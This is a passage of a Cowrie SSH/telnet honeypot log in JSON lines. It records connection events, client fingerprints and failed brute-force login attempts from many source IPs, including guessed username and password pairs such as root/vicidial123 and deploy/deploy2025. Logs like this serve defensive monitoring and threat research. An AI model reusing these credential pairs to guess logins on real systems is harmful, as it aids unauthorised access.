cdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:20.523099Z","src_ip":"5.89.75.194","session":"b6326da4d252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial123","message":"login attempt [root/vicidial123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:20.966465Z","src_ip":"5.89.75.194","session":"b6326da4d252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:22.072582Z","src_ip":"5.89.75.194","session":"b6326da4d252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56264,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c7540d29de9","protocol":"ssh","message":"New connection: 103.172.78.219:56264 (159.203.135.109:22) [session: 0c7540d29de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:31.140555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:31.144932Z","src_ip":"103.172.78.219","session":"0c7540d29de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:31.407119Z","src_ip":"103.172.78.219","session":"0c7540d29de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:32.188950Z","src_ip":"103.172.78.219","session":"0c7540d29de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:33.452366Z","src_ip":"103.172.78.219","session":"0c7540d29de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.41215181350708,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:36.251006Z","src_ip":"94.23.66.112","session":"c97c4ae3c7b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.640191078186035,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:46.039660Z","src_ip":"172.81.62.90","session":"fe41a6e2ee37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":32894,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae7873aa608","protocol":"telnet","message":"New connection: 107.6.151.170:32894 (159.203.135.109:23) [session: bae7873aa608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:56.174912Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":58644,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b2621ff741a","protocol":"ssh","message":"New connection: 103.149.28.157:58644 (10.17.0.5:22) [session: 7b2621ff741a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:10.495743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:10.500482Z","src_ip":"103.149.28.157","session":"7b2621ff741a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:10.753042Z","src_ip":"103.149.28.157","session":"7b2621ff741a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18051994","message":"login attempt [root/18051994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:11.515807Z","src_ip":"103.149.28.157","session":"7b2621ff741a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:12.770528Z","src_ip":"103.149.28.157","session":"7b2621ff741a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":46178,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d5351b57f63","protocol":"ssh","message":"New connection: 76.79.213.69:46178 (10.17.0.5:22) [session: 5d5351b57f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:15.148833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:15.153202Z","src_ip":"76.79.213.69","session":"5d5351b57f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":58746,"dst_ip":"159.203.135.109","dst_port":22,"session":"390a4ed3a805","protocol":"ssh","message":"New connection: 103.27.238.120:58746 (159.203.135.109:22) [session: 390a4ed3a805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:15.185991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:15.190721Z","src_ip":"103.27.238.120","session":"390a4ed3a805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:15.278922Z","src_ip":"76.79.213.69","session":"5d5351b57f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:15.450028Z","src_ip":"103.27.238.120","session":"390a4ed3a805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ljd","password":"123456","message":"login attempt [ljd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:15.800190Z","src_ip":"76.79.213.69","session":"5d5351b57f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"riddick","message":"login attempt [root/riddick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:16.228883Z","src_ip":"103.27.238.120","session":"390a4ed3a805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:16.926314Z","src_ip":"76.79.213.69","session":"5d5351b57f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:17.490240Z","src_ip":"103.27.238.120","session":"390a4ed3a805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.189.195.8","src_port":34802,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b06738b330b","protocol":"ssh","message":"New connection: 203.189.195.8:34802 (10.17.0.5:22) [session: 1b06738b330b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:18.668404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:18.682689Z","src_ip":"203.189.195.8","session":"1b06738b330b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:18.973558Z","src_ip":"203.189.195.8","session":"1b06738b330b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu01","message":"login attempt [ubuntu/Ubuntu01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:22.273137Z","src_ip":"203.189.195.8","session":"1b06738b330b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.81167912483215,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:37.986453Z","src_ip":"107.6.151.170","session":"bae7873aa608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":49220,"dst_ip":"10.17.0.5","dst_port":22,"session":"94e96b9f34f7","protocol":"ssh","message":"New connection: 160.251.185.39:49220 (10.17.0.5:22) [session: 94e96b9f34f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:38.673679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:38.678843Z","src_ip":"160.251.185.39","session":"94e96b9f34f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:38.844571Z","src_ip":"160.251.185.39","session":"94e96b9f34f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy2025","message":"login attempt [deploy/deploy2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:39.538754Z","src_ip":"160.251.185.39","session":"94e96b9f34f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:40.710634Z","src_ip":"160.251.185.39","session":"94e96b9f34f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56916,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d7bc0beb279","protocol":"ssh","message":"New connection: 103.77.175.15:56916 (10.17.0.5:22) [session: 9d7bc0beb279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:40.945604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:40.949902Z","src_ip":"103.77.175.15","session":"9d7bc0beb279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:41.212934Z","src_ip":"103.77.175.15","session":"9d7bc0beb279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17021981","message":"login attempt [root/17021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:42.024610Z","src_ip":"103.77.175.15","session":"9d7bc0beb279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":53584,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fa17aa96b15","protocol":"ssh","message":"New connection: 201.17.146.173:53584 (10.17.0.5:22) [session: 8fa17aa96b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:42.768174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:42.772418Z","src_ip":"201.17.146.173","session":"8fa17aa96b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:43.062294Z","src_ip":"201.17.146.173","session":"8fa17aa96b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:43.290831Z","src_ip":"103.77.175.15","session":"9d7bc0beb279","protocol":"ssh"}
